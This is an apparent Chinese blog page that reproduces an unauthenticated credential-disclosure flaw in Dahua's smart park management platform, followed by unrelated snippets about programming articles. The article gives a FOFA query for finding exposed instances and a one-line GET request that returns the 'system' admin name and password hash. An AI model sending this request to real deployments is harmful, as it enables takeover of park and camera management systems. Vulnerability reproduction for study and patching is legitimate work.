当前位置：首页 > news >正文

大华智慧园区管理平台任意密码读取漏洞复现

news 2026/3/28 6:07:09

文章目录

大华智慧园区管理平台任意密码读取漏洞复现
- 0x01 前言
- 0x02 漏洞描述
- 0x03 影响平台
- 0x04 漏洞环境
- 0x05 漏洞复现
- - 1.访问漏洞环境
  - 2.构造POC
  - 3.复现

大华智慧园区管理平台任意密码读取漏洞复现

0x01 前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

0x02 漏洞描述

大华智慧园区综合管理平台是一款综合管理平台，具备园区运营、资源调配和智能服务、摄像监控等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。

大华智慧园区综合管理平台存在任意密码读取漏洞，可以直接读取管理账号名以及其密码Hash值，造成未授权登入访问劫持园区管理平台，危害性高。

0x03 影响平台

大华智慧园区综合管理平台

0x04 漏洞环境

FOFA语法： app=“dahua-智慧园区综合管理平台”

在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC （GET）

/admin/user_getUserInfoByUserName.action?userName=system

3.复现

在这里插入图片描述
访问漏洞检测POC中的漏洞接口，发现泄露了管理账号名：system 及密码Hash值！！！

大华智慧园区管理平台任意密码读取漏洞复现

文章目录大华智慧园区管理平台任意密码读取漏洞复现0x01 前言0x02 漏洞描述0x03 影响平台0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现大华智慧园区管理平台任意密码读取漏洞复现 0x01 前言免责声明：请勿利用文章内的相关技术从事非法测试&…...

编程日记 2023/10/9 9:24:24

【C++ 学习㉖】- 位图详解（哈希扩展）

目录一、位图的概念二、位图的实现 2.1 - bitset.h 2.2 - test.cpp 三、位图的应用 3.1 - 例题一 3.2 - 例题二一、位图的概念假设有这样一个需求：在 100 亿个整型数字中快速查询某个数是否存在其中，并假设是 32 位操作系统，4 GB…...

编程日记 2023/10/9 9:23:23

天启科技联创郭志强：趟遍教育行业信数化沟坎，创业智能赛道重塑行业生态

郭志强天启科技联合创始人近20年互联网、企业信息化、数字化实施、管理及培训经验。对于集团型企业及初创企业、传统企业及互联网企业的信息化、数字化转型有自己独到的见解和实操经验。具备跨区域、集团化信息规划、解决方案、系统架构及企业流程搭建、优化和技术团队管理能…...

编程日记 2023/10/9 9:21:20

Cuckoo沙箱各Ubuntu版本安装及使用

1.沙箱简介 1.1 沙箱沙箱是一个虚拟系统程序，允许你在沙箱环境中运行浏览器或其他程序，因此运行所产生的变化可以随后删除。它创造了一个类似沙盒的独立作业环境，在其内部运行的程序并不能对硬盘产生永久性的影响。在网络安全中&#xff…...

编程日记 2023/10/9 9:19:18

什么是mvvm模式，优点是什么

MVVM（Model-View-ViewModel）模式是一种设计模式。它是一种开发模式，旨在分离用户界面的开发和业务逻辑的开发。MVVM模式将应用程序分为三个部分： Model：它代表应用程序的数据模型和业务逻辑。 View：它代表…...

编程日记 2023/10/9 9:17:16

C/C++ 中的函数返回局部变量以及局部变量的地址？

C/C中，函数内部的一切变量(函数内部局部变量，形参)都是在其被调用时才被分配内存单元。形参和函数内部的局部变量的生命期和作用域都是在函数内部(static变量的生命期除外)。子函数运行结束时，所有局部变量的内存单元会被系统释放。在C中&…...

编程日记 2023/10/9 9:16:15

springboot和vue：七、mybatis/mybatisplus多表查询+分页查询

mybatisplus实际上只对单表查询做了增强（速度会更快），从传统的手写sql语句，自己做映射，变为封装好的QueryWrapper。本篇文章的内容是有两张表，分别是用户表和订单表，在不直接在数据库做表连接的…...

编程日记 2023/10/9 9:15:13

【Leetcode】 51. N 皇后

按照国际象棋的规则，皇后可以攻击与之处在同一行或同一列或同一斜线上的棋子。 n 皇后问题研究的是如何将 n 个皇后放置在 nn 的棋盘上，并且使皇后彼此之间不能相互攻击。给你一个整数 n ，返回所有不同的 n 皇后问题的解决方案。每一种…...

编程日记 2023/10/9 9:13:09

Java数据库连接：JDBC介绍与简单示例

Java数据库连接：JDBC介绍与简单示例在Java程序中，操作数据库是必不可少的。JDBC（Java Database Connectivity）是Java中用于连接和操作数据库的一种技术。通过JDBC，Java程序可以与各种关系型数据库进行交互&#xff0…...

编程日记 2023/10/9 9:11:06

智慧茶园：茶厂茶园监管可视化视频管理系统解决方案

一、方案背景我国是茶叶生产大国，茶叶销量全世界第一。随着经济社会的发展和人民生活水平的提高，对健康、天然的茶叶产品的消费需求量也在逐步提高。茶叶的种植、生产和制作过程工序复杂，伴随着人力成本的上升，传统茶厂的运营及…...

编程日记 2023/10/9 9:10:04

springboot整合pi支付开发

pi支付流程图： 使用Pi SDK功能发起支付由 Pi SDK 自动调用的回调函数（让您的应用服务器知道它需要发出批准 API 请求）从您的应用程序服务器到 Pi 服务器的 API 请求以批准付款（让 Pi 服务器知道您知道此付款）Pi浏览器向…...

编程日记 2023/10/9 9:08:00

类 ChatGPT 模型存在的局限性

尽管类ChatGPT模型经过数月的迭代和完善，已经初步融入了部分领域以及人们的日常生活，但目前市面上的产品和相关技术仍然存在一些问题，以下列出一些局限性进行详细说明与成因分析： 1）互联网上高质量、大规模、经过清洗…...

编程日记 2023/10/9 9:05:57

Nginx的安全控制

安全控制关于web服务器的安全是比较大的一个话题，里面所涉及的内容很多，Nginx反向代理是安全隔离来提升web服务器的安全，通过代理分开了客户端到应用程序服务器端的连接，实现了安全措施。在反向代理之前设置防火墙，…...

编程日记 2023/10/9 9:04:55

字符串与字符编码 - GO语言从入门到实战

字符串与字符编码 - GO语言从入门到实战字符串与其他主要编程语⾔的差异基本数据类型：string 是基础数据类型，而不是引用类型或指针类型。string 在内存中占用的空间大小是固定的，且只读、不可改变。字节切片：string 是只读…...

编程日记 2023/10/9 9:03:53

12P4375X042-233C KJ2005X1-BA1 CE3007 EMERSON servo controller

12P4375X042-233C KJ2005X1-BA1 CE3007 EMERSON servo controller 我们提供三种不同类别的EDGEBoost I/O模块供选择，以实现最大程度的I/O定制: 数字和模拟输入/输出网络和连接边缘人工智能和存储利用EDGEBoost I/O实现变革性技术 EBIO-2M2BK EBIO-2M2BK载板支持…...

编程日记 2023/10/9 9:02:52

WPF向Avalonia迁移（四、其他事项）

开发必备 1. Avalonia项目源代码！！！！！！！！！！没有源代码，你连控件的背景色怎么改都找不着！！ 2.下载你所使用的版本&#x…...

编程日记 2023/10/9 9:01:51

Python 代码调试

from pdb import set_trace as stx 是一个Python代码中常用的调试技巧之一，它用于在代码中插入断点以进行调试。这行代码的作用是将Python标准库中的 pdb（Python Debugger）模块中的 set_trace 函数导入，并将其重命名为 stx&#x…...

编程日记 2023/10/9 9:00:50

DM宣传单制作，利用在线模板，快速替换文字

如果你需要制作一批宣传单，但是时间很紧，而且没有专业的设计人员协助，那么你可以选择使用在线模板来快速制作宣传单。本文将介绍如何使用乔拓云平台，快速制作宣传单的方法。步骤一：选择适合的在线制作工具首先&…...

编程日记 2023/10/9 8:59:49

【力扣】42. 接雨水

这道题我卡了差不多1个小时，不是不会做，是不知道怎么能用栈来实现，后面看了一个博主的视频，豁然开朗，我主要的纠结点在于当指针指到7的时候，我计算出4到7的水块是2，但实际上是0，因为…...

编程日记 2023/10/9 8:58:48

IPETRONIK数据采集设备携手Softing Q-Vision软件致力于ADAS测试方案

一背景汽车ADAS技术是当下国内外的重点研究方向，且ADAS的发展水平和市场竞争力紧密相关，因此一套完善的ADAS测试方案对各整车厂而言非常重要。然而，国内ADAS测试却面临着很多阻碍，主要原因在于：相关测试设备昂贵&am…...

编程日记 2023/10/9 8:57:46

SJA1105Q升级踩坑记：RGMII V2.0时序下，33Ω串阻为何成了千兆通信的‘隐形杀手’？

SJA1105Q升级中的RGMII V2.0时序陷阱：33Ω串阻如何摧毁千兆通信稳定性当NXP SJA1105Q这款号称"增强版"的工业交换机芯片落到我们硬件工程师手中时，谁曾想PCB上那些看似无害的33Ω小电阻，竟会成为千兆通信系统的阿喀琉斯之踵。这不…...

编程新知 2026/3/28 6:04:28

UE5.3与Colosseum集成配置指南及常见问题解析

1. 环境准备：Windows系统下的基础配置在开始Colosseum与UE5.3的集成之前，我们需要确保开发环境满足基本要求。我最近在Windows 11系统上完成了一次完整配置，实测下来这几个关键组件版本组合最稳定： 操作系统：Windows …...

编程新知 2026/3/28 5:58:23

CTF信息收集入门：从BUUCTF‘粗心的小李’题目看Git泄露的常见利用方式

CTF信息收集实战：Git泄露漏洞的深度利用与防御策略在CTF竞赛的Web安全赛道上，信息收集能力往往决定着解题的成败。当新手面对看似空白的网页时，常会陷入无从下手的困境——这正是"粗心的小李"这类题目的设计初衷。不同于常规的SQL…...

编程新知 2026/3/28 3:11:13

C++的std--ranges算法自定义比较器与等价关系在集合操作中的运用

C20引入的std::ranges库为算法操作带来了革命性改进，其中自定义比较器与等价关系的灵活运用，显著提升了集合操作的表达能力。通过精确控制元素间的比较逻辑，开发者能够实现更复杂的业务需求，例如处理自定义对象集合或实现非标准排…...

编程新知 2026/3/28 1:23:43

会用AI的人，早已拉开职场差距！全岗位工作范式重构进行时

AI深度融入职场，正在改写工作的底层逻辑，会用AI的从业者，已在工作效率与职业发展上形成明显优势。从开发人员的研发流程，到方案人员的工作模式，再到各行各业的基础岗位，AI不再只是简单的效率工具&#xff0…...

编程新知 2026/3/28 1:21:40

python-flask-djangol框架的校园餐厅菜品自选系统

目录技术选型核心功能模块数据库设计开发流程部署方案关键代码示例测试重点项目技术支持源码获取详细视频演示 ：文章底部获取博主联系方式！同行可合作技术选型使用Python的Flask或Django框架作为后端基础。Flask适合轻量级快速开发，Djan…...

编程新知 2026/3/28 1:11:38

WiFi热图绘制工具：用Python为你的无线网络做一次“CT扫描“ [特殊字符][特殊字符]

WiFi热图绘制工具：用Python为你的无线网络做一次"CT扫描" 🏥📶 【免费下载链接】wifi-heat-mapper whm also known as wifi-heat-mapper is a Python library for benchmarking Wi-Fi networks and gather useful metrics that can…...

编程新知 2026/3/28 0:55:34

3个步骤打造静音散热系统：FanControl 262版智能风扇调控方案全解析

3个步骤打造静音散热系统：FanControl 262版智能风扇调控方案全解析【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub…...

编程新知 2026/3/28 0:43:32